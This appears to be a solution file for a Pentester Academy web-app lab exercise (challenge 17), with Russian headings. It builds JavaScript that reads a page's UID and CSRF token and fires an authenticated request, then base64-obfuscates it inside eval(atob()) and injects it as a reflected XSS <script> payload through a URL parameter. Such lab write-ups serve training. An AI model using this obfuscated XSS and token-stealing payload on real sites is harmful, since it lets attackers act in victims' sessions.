Pentester Academy #17

challenge_17.js

//Задание
http://pentesteracademylab.appspot.com/lab/webapp/jfp/17
-------------------------------------------------------------------------------------------------------------------

//Заготовка
var uid = document.querySelector('#uid').textContent.replace('UID:', '');
var csrf = document.querySelector('#csrf').textContent.replace('Token:','');
ajax('/lab/webapp/jfp/17/email?name=john&uid='+uid+'&csrf_token='+csrf, function(r){
	document.querySelector('#result').textContent=r.responseText;
});
function ajax(url,callback) {
	var req = new XMLHttpRequest();
	if (!req) return;
	var method = "GET";
	req.open(method,url,true);
	req.onreadystatechange = function () {
		if (req.readyState != 4) return;
		if (req.status != 200 && req.status != 304) {
			return;
		}
		callback(req);
	};
	if (req.readyState == 4) return;
	req.send(0);
}

//Минифицированная версия
function ajax(e,t){var n=new XMLHttpRequest;if(n){var a="GET";n.open(a,e,!0),n.onreadystatechange=function(){4==n.readyState&&(200==n.status||304==n.status)&&t(n)},4!=n.readyState&&n.send(0)}}var uid=document.querySelector("#uid").textContent.replace("UID:",""),csrf=document.querySelector("#csrf").textContent.replace("Token:","");ajax("/lab/webapp/jfp/17/email?name=john&uid="+uid+"&csrf_token="+csrf,function(e){document.querySelector("#result").textContent=e.responseText});

//eval atob base64
eval(atob("ZnVuY3Rpb24gYWpheChlLHQpe3ZhciBuPW5ldyBYTUxIdHRwUmVxdWVzdDtpZihuKXt2YXIgYT0iR0VUIjtuLm9wZW4oYSxlLCEwKSxuLm9ucmVhZHlzdGF0ZWNoYW5nZT1mdW5jdGlvbigpezQ9PW4ucmVhZHlTdGF0ZSYmKDIwMD09bi5zdGF0dXN8fDMwND09bi5zdGF0dXMpJiZ0KG4pfSw0IT1uLnJlYWR5U3RhdGUmJm4uc2VuZCgwKX19dmFyIHVpZD1kb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIjdWlkIikudGV4dENvbnRlbnQucmVwbGFjZSgiVUlEOiIsIiIpLGNzcmY9ZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiI2NzcmYiKS50ZXh0Q29udGVudC5yZXBsYWNlKCJUb2tlbjoiLCIiKTthamF4KCIvbGFiL3dlYmFwcC9qZnAvMTcvZW1haWw/bmFtZT1qb2huJnVpZD0iK3VpZCsiJmNzcmZfdG9rZW49Iitjc3JmLGZ1bmN0aW9uKGUpe2RvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIiNyZXN1bHQiKS50ZXh0Q29udGVudD1lLnJlc3BvbnNlVGV4dH0pOw=="));

//Финальный вектор
http://pentesteracademylab.appspot.com/lab/webapp/jfp/17?url=<script>eval(atob("ZnVuY3Rpb24gYWpheChlLHQpe3ZhciBuPW5ldyBYTUxIdHRwUmVxdWVzdDtpZihuKXt2YXIgYT0iR0VUIjtuLm9wZW4oYSxlLCEwKSxuLm9ucmVhZHlzdGF0ZWNoYW5nZT1mdW5jdGlvbigpezQ9PW4ucmVhZHlTdGF0ZSYmKDIwMD09bi5zdGF0dXN8fDMwND09bi5zdGF0dXMpJiZ0KG4pfSw0IT1uLnJlYWR5U3RhdGUmJm4uc2VuZCgwKX19dmFyIHVpZD1kb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIjdWlkIikudGV4dENvbnRlbnQucmVwbGFjZSgiVUlEOiIsIiIpLGNzcmY9ZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiI2NzcmYiKS50ZXh0Q29udGVudC5yZXBsYWNlKCJUb2tlbjoiLCIiKTthamF4KCIvbGFiL3dlYmFwcC9qZnAvMTcvZW1haWw/bmFtZT1qb2huJnVpZD0iK3VpZCsiJmNzcmZfdG9rZW49Iitjc3JmLGZ1bmN0aW9uKGUpe2RvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIiNyZXN1bHQiKS50ZXh0Q29udGVudD1lLnJlc3BvbnNlVGV4dH0pOw=="))</script>